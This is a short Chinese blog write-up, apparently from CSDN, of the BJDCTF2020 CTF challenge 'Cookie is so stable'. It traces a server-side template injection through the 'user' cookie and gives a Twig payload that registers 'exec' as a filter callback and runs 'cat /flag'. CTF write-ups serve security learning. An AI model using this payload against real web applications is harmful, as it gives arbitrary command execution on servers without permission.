[BJDCTF2020]Cookie is so stable

最新推荐文章于 2024-06-13 07:36:50 发布

浩歌已行

最新推荐文章于 2024-06-13 07:36:50 发布

阅读量1.3k

点赞数 2

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_43801002/article/details/107716005

版权

题目
图片.png
过程
1.Flag和Hint两个页面抓包，flag页面告诉我们要先登录，hint页面告诉我们要在cookie里面做文章

2.flag页面先登录然后抓包，发现cookie里面出现user。尝试多次后，发现是ssti注入

3.打入payload。
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
图片.png

关注

2
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
[BJDCTF2020]Cookie is so stable

题目过程1.Flag和Hint两个页面抓包，flag页面告诉我们要先登录，hint页面告诉我们要在cookie里面做文章2.flag页面先登录然后抓包，发现cookie里面出现user。尝试多次后，发现是ssti注入3.打入payload。{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}...
复制链接

扫一扫

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。